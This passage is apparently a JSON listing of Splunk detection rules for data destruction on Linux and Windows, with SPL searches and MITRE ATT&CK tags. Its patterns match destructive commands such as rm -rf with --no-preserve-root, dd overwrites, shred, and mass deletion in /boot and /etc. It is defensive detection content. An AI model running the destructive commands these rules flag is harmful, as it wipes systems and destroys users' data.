- "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "SSH Config and keys are deleted on $dest$ by Process GUID - $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Data Destruction Command", - "description": "The following analytic detects the execution of a Unix shell command designed to wipe root directories on a Linux host. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on the 'rm' command with force recursive deletion and the '--no-preserve-root' option. This activity is significant as it indicates potential data destruction attempts, often associated with malware like Awfulshred. If confirmed malicious, this behavior could lead to severe data loss, system instability, and compromised integrity of the affected Linux host. Immediate investigation and response are crucial to mitigate potential damage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"rm\" AND Processes.process IN (\"* -rf*\", \"* -fr*\") AND Processes.process = \"* --no-preserve-root\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_data_destruction_command_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ execute rm command with --no-preserve-root parmeter that can wipe root files in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Linux DD File Overwrite", - "description": "The following analytic detects the use of the 'dd' command to overwrite files on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because adversaries often use the 'dd' command to destroy or irreversibly overwrite files, disrupting system availability and services. If confirmed malicious, this behavior could lead to data destruction, making recovery difficult and potentially causing significant operational disruptions.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"dd\" AND Processes.process = \"*of=*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_dd_file_overwrite_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ executed on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Linux Deleting Critical Directory Using RM Command", - "description": "The following analytic detects the deletion of critical directories on a Linux machine using the `rm` command with argument rf. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions targeting directories like /boot, /var/log, /etc, and /dev. This activity is significant because deleting these directories can severely disrupt system operations and is often associated with destructive campaigns like Industroyer2. If confirmed malicious, this action could lead to system instability, data loss, and potential downtime, making it crucial for immediate investigation and response.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name =rm AND Processes.process= \"* -rf *\" AND Processes.process IN (\"*/boot/*\", \"*/var/log/*\", \"*/etc/*\", \"*/dev/*\") by Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_deleting_critical_directory_using_rm_command_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A deletion in known critical list of folder using rm command $process$ executed on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Cron Jobs", - "description": "The following analytic detects the deletion of cron jobs on a Linux machine. It leverages filesystem event logs to identify when files within the \"/etc/cron.*\" directory are deleted. This activity is significant because attackers or malware may delete cron jobs to disable scheduled security tasks or evade detection mechanisms. If confirmed malicious, this action could allow an attacker to disrupt system operations, evade security measures, or facilitate further malicious activities such as data wiping, as seen with the acidrain malware.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path=\"/etc/cron.*\" by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_cron_jobs_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Linux cron jobs are deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Init Daemon Script", - "description": "The following analytic detects the deletion of init daemon scripts on a Linux machine. It leverages filesystem event logs to identify when files within the /etc/init.d/ directory are deleted. This activity is significant because init daemon scripts control the start and stop of critical services, and their deletion can indicate an attempt to impair security features or evade defenses. If confirmed malicious, this behavior could allow an attacker to disrupt essential services, execute destructive payloads, or persist undetected in the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path IN ( \"/etc/init.d/*\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_init_daemon_script_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Init daemon script deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Services", - "description": "The following analytic detects the deletion of services on a Linux machine. It leverages filesystem event logs to identify when service files within system directories (e.g., /etc/systemd/, /lib/systemd/, /run/systemd/) are deleted. This activity is significant because attackers may delete or modify services to disable security features or evade defenses. If confirmed malicious, this behavior could indicate an attempt to impair system functionality or execute a destructive payload, potentially leading to system instability or data loss. Immediate investigation is required to determine the responsible process and user.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path IN ( \"/etc/systemd/*\", \"*/lib/systemd/*\", \"*/run/systemd/*\") Filesystem.file_path = \"*.service\" by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_services_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A services file $file_name$ deteted on host $dest$ by process GUID - $process_guid$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion of SSL Certificate", - "description": "The following analytic detects the deletion of SSL certificates on a Linux machine. It leverages filesystem event logs to identify when files with extensions .pem or .crt are deleted from the /etc/ssl/certs/ directory. This activity is significant because attackers may delete or modify SSL certificates to disable security features or evade defenses on a compromised system. If confirmed malicious, this behavior could indicate an attempt to disrupt secure communications, evade detection, or execute a destructive payload, potentially leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/etc/ssl/certs/*\" Filesystem.file_path IN (\"*.pem\", \"*.crt\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_ssl_certificate_filter`", - "tags": { - "analytic_story": [ - "AcidRain" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "SSL certificate deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux High Frequency Of File Deletion In Boot Folder", - "description": "The following analytic detects a high frequency of file deletions in the /boot/ folder on Linux systems. It leverages filesystem event logs to identify when 200 or more files are deleted within an hour by the same process. This behavior is significant as it may indicate the presence of wiper malware, such as Industroyer2, which targets critical system directories. If confirmed malicious, this activity could lead to system instability or failure, hindering the boot process and potentially causing a complete system compromise.", - "search": "| tstats `security_content_summariesonly` values(Filesystem.file_name) as deletedFileNames values(Filesystem.file_path) as deletedFilePath dc(Filesystem.file_path) as numOfDelFilePath count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/boot/*\" by _time span=1h Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | where numOfDelFilePath >= 200 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_high_frequency_of_file_deletion_in_boot_folder_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple files detection in /boot/ folder on $dest$ by process GUID - $process_guid$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux High Frequency Of File Deletion In Etc Folder", - "description": "The following analytic detects a high frequency of file deletions in the /etc/ folder on Linux systems. It leverages the Endpoint.Filesystem data model to identify instances where 200 or more files are deleted within an hour, grouped by process name and process ID. This behavior is significant as it may indicate the presence of wiper malware, such as AcidRain, which aims to delete critical system files. If confirmed malicious, this activity could lead to severe system instability, data loss, and potential disruption of services.", - "search": "| tstats `security_content_summariesonly` values(Filesystem.file_name) as deletedFileNames values(Filesystem.file_path) as deletedFilePath dc(Filesystem.file_path) as numOfDelFilePath count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/etc/*\" by _time span=1h Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | where numOfDelFilePath >= 200 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_high_frequency_of_file_deletion_in_etc_folder_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple files delted in /etc/ folder on $dest$ by process GUID - $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Shred Overwrite Command", - "description": "The following analytic detects the execution of the 'shred' command on a Linux machine, which is used to overwrite files to make them unrecoverable. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because the 'shred' command can be used in destructive attacks, such as those seen in the Industroyer2 malware targeting energy facilities. If confirmed malicious, this activity could lead to the permanent destruction of critical files, severely impacting system integrity and data availability.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name =shred AND Processes.process IN (\"*-n*\", \"*-u*\", \"*-z*\", \"*-s*\") by Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_shred_overwrite_command_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction", - "Industroyer2", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A possible shred overwrite command $process$ executed on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Sdelete Application Execution", - "description": "The following analytic detects the execution of the sdelete.exe application, a Sysinternals tool often used by adversaries to securely delete files and remove forensic evidence from a targeted host. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. Monitoring this activity is crucial as sdelete.exe is not commonly used in regular operations and its presence may indicate an attempt to cover malicious activities. If confirmed malicious, this could lead to the loss of critical forensic data, hindering incident response and investigation efforts.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_sdelete` by Processes.process_name Processes.original_file_name Processes.dest Processes.user Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `sdelete_application_execution_filter`", - "tags": { - "analytic_story": [ - "Masquerading - Rename System Utilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "sdelete process $process_name$ executed in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Data Destruction Recursive Exec Files Deletion", - "description": "The following analytic identifies a suspicious process that is recursively deleting executable files on a compromised host. It leverages Sysmon Event Codes 23 and 26 to detect this activity by monitoring for a high volume of deletions or overwrites of files with extensions like .exe, .sys, and .dll. This behavior is significant as it is commonly associated with destructive malware such as CaddyWiper, DoubleZero, and SwiftSlicer, which aim to make file recovery impossible. If confirmed malicious, this activity could lead to significant data loss and system instability, severely impacting business operations.", - "search": "`sysmon` EventCode IN (\"23\",\"26\") TargetFilename IN (\"*.exe\", \"*.sys\", \"*.dll\") | bin _time span=2m | stats count, values(TargetFilename) as deleted_files, min(_time) as firstTime, max(_time) as lastTime by user, dest, signature, signature_id, Image, process_name, process_guid | rename Image as process | where count >=500 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_data_destruction_recursive_exec_files_deletion_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Swift Slicer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "deleted_files", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "The process $process_name$ has removed a significant quantity of executable files, totaling [$count$], from the destination $dest$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Windows Disable Memory Crash Dump", - "description": "The following analytic detects attempts to disable the memory crash dump feature on Windows systems by setting the registry value to 0. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the CrashDumpEnabled registry key. This activity is significant because disabling crash dumps can hinder forensic analysis and incident response efforts. If confirmed malicious, this action could be part of a broader attack strategy, such as data destruction or system destabilization, as seen with HermeticWiper, potentially leading to significant operational disruptions and data loss.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry where (Registry.registry_path=\"*\\\\CurrentControlSet\\\\Control\\\\CrashControl\\\\CrashDumpEnabled\") AND Registry.registry_value_data=\"0x00000000\" by _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.registry_key_name | `drop_dm_object_name(Registry)` | 